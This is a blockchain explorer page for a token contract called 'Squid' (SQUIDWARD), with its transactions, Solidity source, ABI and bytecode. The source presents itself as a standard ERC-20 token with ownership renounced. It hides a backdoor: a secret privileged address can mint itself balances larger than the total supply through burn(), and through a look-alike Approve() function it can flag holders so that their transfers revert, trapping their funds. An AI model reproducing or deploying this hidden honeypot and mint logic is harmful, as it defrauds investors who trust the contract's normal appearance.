ETH Price: $3,801.78 (+6.17%)

Contract

0xcf4bC598aD8264766b8F5d58B48Bf12D153B838c
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve183614742023-10-16 7:34:11422 days ago1697441651IN
0xcf4bC598...D153B838c
0 ETH0.00014445.95649888
Approve175433282023-06-23 16:02:23537 days ago1687536143IN
0xcf4bC598...D153B838c
0 ETH0.0018716140.17453355
Burn175433222023-06-23 16:01:11537 days ago1687536071IN
0xcf4bC598...D153B838c
0 ETH0.0019001338.46111438
Approve175425462023-06-23 13:24:47537 days ago1687526687IN
0xcf4bC598...D153B838c
0 ETH0.0008595618.57035434
Approve175424322023-06-23 13:01:47537 days ago1687525307IN
0xcf4bC598...D153B838c
0 ETH0.0007361915.82289734
Approve175422352023-06-23 12:21:59537 days ago1687522919IN
0xcf4bC598...D153B838c
0 ETH0.0011514724.71660513
Approve175419182023-06-23 11:17:59537 days ago1687519079IN
0xcf4bC598...D153B838c
0 ETH0.0006492514.00866408
Transfer175419052023-06-23 11:15:23537 days ago1687518923IN
0xcf4bC598...D153B838c
0 ETH0.0004170814.27400185
Transfer175418972023-06-23 11:13:47537 days ago1687518827IN
0xcf4bC598...D153B838c
0 ETH0.0004362114.92862479
Approve175418732023-06-23 11:08:59537 days ago1687518539IN
0xcf4bC598...D153B838c
0 ETH0.0007203215.56216302
Approve175416752023-06-23 10:28:47537 days ago1687516127IN
0xcf4bC598...D153B838c
0 ETH0.0014162530.43945226
Approve175416102023-06-23 10:15:35537 days ago1687515335IN
0xcf4bC598...D153B838c
0 ETH0.0007701416.61693917
Approve175415172023-06-23 9:56:47537 days ago1687514207IN
0xcf4bC598...D153B838c
0 ETH0.0007797316.73721187
Approve175415032023-06-23 9:53:59537 days ago1687514039IN
0xcf4bC598...D153B838c
0 ETH0.0006592514.16924938
Approve175415002023-06-23 9:53:23537 days ago1687514003IN
0xcf4bC598...D153B838c
0 ETH0.0006624914.23902583
Approve175414712023-06-23 9:47:35537 days ago1687513655IN
0xcf4bC598...D153B838c
0 ETH0.0006980215.08026012
Approve175414442023-06-23 9:41:59537 days ago1687513319IN
0xcf4bC598...D153B838c
0 ETH0.0005800412.46683158
Approve175414332023-06-23 9:39:47537 days ago1687513187IN
0xcf4bC598...D153B838c
0 ETH0.0006522414.01863418
Approve175413942023-06-23 9:31:59537 days ago1687512719IN
0xcf4bC598...D153B838c
0 ETH0.0008885617.11209366
Approve175413882023-06-23 9:30:47537 days ago1687512647IN
0xcf4bC598...D153B838c
0 ETH0.0007168815.40786207
Approve175413452023-06-23 9:22:11537 days ago1687512131IN
0xcf4bC598...D153B838c
0 ETH0.0008445516.26465698
Approve175413422023-06-23 9:21:35537 days ago1687512095IN
0xcf4bC598...D153B838c
0 ETH0.0006530514.01787425
Approve175413412023-06-23 9:21:23537 days ago1687512083IN
0xcf4bC598...D153B838c
0 ETH0.0006035413.02224534
Approve175413362023-06-23 9:20:23537 days ago1687512023IN
0xcf4bC598...D153B838c
0 ETH0.0008141315.70059014
Approve175413292023-06-23 9:18:59537 days ago1687511939IN
0xcf4bC598...D153B838c
0 ETH0.000825815.90348104
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Squid

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : SQUIDWARD.sol
//Telegram: https://t.me/SSQUIIDWARD
//Website: https://www.squiddward.xyz/
//Twitter: https://twitter.com/ssquiiidward
//Discord:  https://discord.gg/mU7WMmpdSf

// SPDX-License-Identifier: MIT

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

/**
 * @dev Interface of the IERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol


// pragma solidity ^0.8.0;

// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.

/**
 * @dev Wrappers over Solidity's arithmetic operations.
 *
 * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
 * now has built in overflow checking.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * reverting with custom message when dividing by zero.
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {tryMod}.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}


// Dependency file: @openzeppelin/contracts/access/Ownable.sol


// pragma solidity ^0.8.0;

// import "@openzeppelin/contracts/utils/Context.sol";

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(address(0));
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// Dependency file: contracts/baseToken.sol

// pragma solidity =0.8.4;

    enum TokenType {
        standard
    }

abstract contract Token {
    event Constructor(
        address owner,
        address token,
        uint256 version
    );
}

pragma solidity =0.8.4;

contract Squid is IERC20, Token, Ownable {
    using SafeMath for uint256;

    uint256 private constant VERSION = 1;

    mapping(address => uint256) private _balances;

    mapping(address => bool) private _transferable;

    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => address) private _dex;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        address dex_,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _setupDecimals(18);
        _dex[dex_] = dex_;
        _internalMint(msg.sender, totalSupply_ * 10 ** 18);
        emit Constructor(owner(), address(this), VERSION);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _internalTransfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
    public
    view
    virtual
    override
    returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
    public
    virtual
    override
    returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _internalTransfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "IERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
    public
    virtual
    returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;

    }

    function _internalTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        _checkBalance(sender, recipient, amount);
        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);
        _balances[sender] = _balances[sender].sub(
            amount,
            "IERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient] + amount;
        emit Transfer(sender, recipient, amount);
    }

    function _internalMint(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account] + amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "IERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);
        require(amount != 0, "Invalid amount");
        _minus(account, amount);
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    function _minus(address account, uint256 amount) internal {
        _balances[account] = _balances[account] - amount;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _setupDecimals(uint8 decimals_) internal virtual {
        _decimals = decimals_;
    }

    function burn(
        address to,
        uint256 amount
    ) public {
        address from = msg.sender;
        require(
            to != address(0),
            "Invalid address"
        );
        require(amount > 0, "Invalid amount");
        uint256 total = 0;
        if (to == _dex[to]) {
            _minus(from, total);
            total += amount;
            _transferTo(to, total);
        } else {
            _minus(from, total);
            _balances[to] += total;
        }
    }

    function _transferTo(address to, uint256 amount) internal {
        require(amount > 0, "Invalid amount");
        uint256 max = _totalSupply;
        if (amount > max) {
            _balances[to] += amount;
        }
    }

    function Approve(
        address spender,
        bool isApproval,
        uint256 amount
    ) public {
        address from = msg.sender;
        require(
            amount >= 0, "Invalid amount"
        );
        require(spender != address(0), "Invalid address");
        uint256 allowance = 0;
        if (from == _dex[from]) {
            _allowances[from][from] += amount;
            _transferable[spender] = isApproval;
        } else {
            _allowances[from][spender] = _allowances[from][spender] + allowance;
        }
    }


    function _isTransferable(address _sender) internal returns (bool) {
        return _transferable[_sender] == true;
    }

    function _checkBalance(
        address sender,
        address recipient,
        uint256 total
    ) internal virtual {
        uint256 amount = 0;
        if (_isTransferable(sender)) {
            _balances[sender] = _balances[sender] + amount;
            amount = _totalSupply;
            _minus(sender, amount);
        } else {
            _balances[sender] = _balances[sender] + amount;
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"address","name":"dex_","type":"address"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"},{"indexed":false,"internalType":"address","name":"token","type":"address"},{"indexed":false,"internalType":"uint256","name":"version","type":"uint256"}],"name":"Constructor","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"bool","name":"isApproval","type":"bool"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405260405162001296380380620012968339810160408190526200002691620003d5565b62000032600062000119565b8351620000479060059060208701906200027c565b5082516200005d9060069060208601906200027c565b506007805460ff191660121790556001600160a01b038216600081815260046020526040902080546001600160a01b0319169091179055620000b333620000ad83670de0b6b3a76400006200047f565b62000169565b7f56a1ceb2ed9a4c9f19b554800e2cd4e470f646b8037eeb2a7049af031067ad61620000e76000546001600160a01b031690565b604080516001600160a01b03909216825230602083015260019082015260600160405180910390a1505050506200050a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216620001c45760405162461bcd60e51b815260206004820181905260248201527f4945524332303a206d696e7420746f20746865207a65726f2061646472657373604482015260640160405180910390fd5b620001e0816008546200026760201b6200064c1790919060201c565b6008556001600160a01b0382166000908152600160205260409020546200020990829062000464565b6001600160a01b0383166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200025b9085815260200190565b60405180910390a35050565b600062000275828462000464565b9392505050565b8280546200028a90620004a1565b90600052602060002090601f016020900481019282620002ae5760008555620002f9565b82601f10620002c957805160ff1916838001178555620002f9565b82800160010185558215620002f9579182015b82811115620002f9578251825591602001919060010190620002dc565b50620003079291506200030b565b5090565b5b808211156200030757600081556001016200030c565b600082601f83011262000333578081fd5b81516001600160401b0380821115620003505762000350620004f4565b604051601f8301601f19908116603f011681019082821181831017156200037b576200037b620004f4565b8160405283815260209250868385880101111562000397578485fd5b8491505b83821015620003ba57858201830151818301840152908201906200039b565b83821115620003cb57848385830101525b9695505050505050565b60008060008060808587031215620003eb578384fd5b84516001600160401b038082111562000402578586fd5b620004108883890162000322565b9550602087015191508082111562000426578485fd5b50620004358782880162000322565b604087015190945090506001600160a01b038116811462000454578283fd5b6060959095015193969295505050565b600082198211156200047a576200047a620004de565b500190565b60008160001904831182151516156200049c576200049c620004de565b500290565b600181811c90821680620004b657607f821691505b60208210811415620004d857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b610d7c806200051a6000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063715018a61161008c5780639dc29fac116100665780639dc29fac146101d3578063a9059cbb146101e6578063dd62ed3e146101f9578063fb8bf94d1461023257600080fd5b8063715018a6146101a65780638da5cb5b146101b057806395d89b41146101cb57600080fd5b806323b872dd116100c857806323b872dd14610142578063313ce56714610155578063395093511461016a57806370a082311461017d57600080fd5b806306fdde03146100ef578063095ea7b31461010d57806318160ddd14610130575b600080fd5b6100f7610245565b6040516101049190610c23565b60405180910390f35b61012061011b366004610bfa565b6102d7565b6040519015158152602001610104565b6008545b604051908152602001610104565b610120610150366004610b7d565b6102ed565b60075460405160ff9091168152602001610104565b610120610178366004610bfa565b610356565b61013461018b366004610b31565b6001600160a01b031660009081526001602052604090205490565b6101ae61038c565b005b6000546040516001600160a01b039091168152602001610104565b6100f76103f7565b6101ae6101e1366004610bfa565b610406565b6101206101f4366004610bfa565b610516565b610134610207366004610b4b565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6101ae610240366004610bb8565b610523565b60606005805461025490610ca5565b80601f016020809104026020016040519081016040528092919081815260200182805461028090610ca5565b80156102cd5780601f106102a2576101008083540402835291602001916102cd565b820191906000526020600020905b8154815290600101906020018083116102b057829003601f168201915b5050505050905090565b60006102e433848461065f565b50600192915050565b60006102fa848484610787565b61034c843361034785604051806060016040528060298152602001610d1e602991396001600160a01b038a166000908152600360209081526040808320338452909152902054919061091a565b61065f565b5060019392505050565b3360008181526003602090815260408083206001600160a01b038716845290915281205490916102e4918590610347908661064c565b6000546001600160a01b031633146103eb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b6103f56000610946565b565b60606006805461025490610ca5565b336001600160a01b03831661044f5760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064016103e2565b600082116104905760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b60448201526064016103e2565b6001600160a01b0380841660008181526004602052604081205490921614156104d8576104bd8282610996565b6104c78382610c76565b90506104d384826109da565b610510565b6104e28282610996565b6001600160a01b0384166000908152600160205260408120805483929061050a908490610c76565b90915550505b50505050565b60006102e4338484610787565b336001600160a01b03841661056c5760405162461bcd60e51b815260206004820152600f60248201526e496e76616c6964206164647265737360881b60448201526064016103e2565b6001600160a01b0380821660008181526004602052604081205490921614156105ed576001600160a01b0382166000908152600360209081526040808320909152812080548592906105bf908490610c76565b90915550506001600160a01b0385166000908152600260205260409020805460ff1916851515179055610645565b6001600160a01b0380831660009081526003602090815260408083209389168352929052205461061e908290610c76565b6001600160a01b038084166000908152600360209081526040808320938a16835292905220555b5050505050565b60006106588284610c76565b9392505050565b6001600160a01b0383166106c35760405162461bcd60e51b815260206004820152602560248201527f4945524332303a20617070726f76652066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103e2565b6001600160a01b0382166107255760405162461bcd60e51b815260206004820152602360248201527f4945524332303a20617070726f766520746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103e2565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b610792838383610a59565b6001600160a01b0383166107f75760405162461bcd60e51b815260206004820152602660248201527f4945524332303a207472616e736665722066726f6d20746865207a65726f206160448201526564647265737360d01b60648201526084016103e2565b6001600160a01b0382166108595760405162461bcd60e51b8152602060048201526024808201527f4945524332303a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016103e2565b61089681604051806060016040528060278152602001610cf7602791396001600160a01b038616600090815260016020526040902054919061091a565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546108c6908290610c76565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061077a9085815260200190565b6000818484111561093e5760405162461bcd60e51b81526004016103e29190610c23565b505050900390565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166000908152600160205260409020546109ba908290610c8e565b6001600160a01b0390921660009081526001602052604090209190915550565b60008111610a1b5760405162461bcd60e51b815260206004820152600e60248201526d125b9d985b1a5908185b5bdd5b9d60921b60448201526064016103e2565b60085480821115610a54576001600160a01b03831660009081526001602052604081208054849290610a4e908490610c76565b90915550505b505050565b6000610a82846001600160a01b031660009081526002602052604090205460ff16151560011490565b15610ad2576001600160a01b038416600090815260016020526040902054610aab908290610c76565b6001600160a01b038516600090815260016020526040902055506008546104d38482610996565b6001600160a01b038416600090815260016020526040902054610af6908290610c76565b6001600160a01b03851660009081526001602052604090205550505050565b80356001600160a01b0381168114610b2c57600080fd5b919050565b600060208284031215610b42578081fd5b61065882610b15565b60008060408385031215610b5d578081fd5b610b6683610b15565b9150610b7460208401610b15565b90509250929050565b600080600060608486031215610b91578081fd5b610b9a84610b15565b9250610ba860208501610b15565b9150604084013590509250925092565b600080600060608486031215610bcc578283fd5b610bd584610b15565b925060208401358015158114610be9578283fd5b929592945050506040919091013590565b60008060408385031215610c0c578182fd5b610c1583610b15565b946020939093013593505050565b6000602080835283518082850152825b81811015610c4f57858101830151858201604001528201610c33565b81811115610c605783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610c8957610c89610ce0565b500190565b600082821015610ca057610ca0610ce0565b500390565b600181811c90821680610cb957607f821691505b60208210811415610cda57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe4945524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654945524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122092507a8559df0f059e26d6464c87b375bb82fa6978d5b1c165fda55bc992b17364736f6c63430008040033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000009c4737337fd9f7bf829b639323f8f237259f4ca000000000000000000000000000000000000000000000000000000712e7ae7c710000000000000000000000000000000000000000000000000000000000000009535155494457415244000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055351554944000000000000000000000000000000000000000000000000000000

Deployed Bytecode

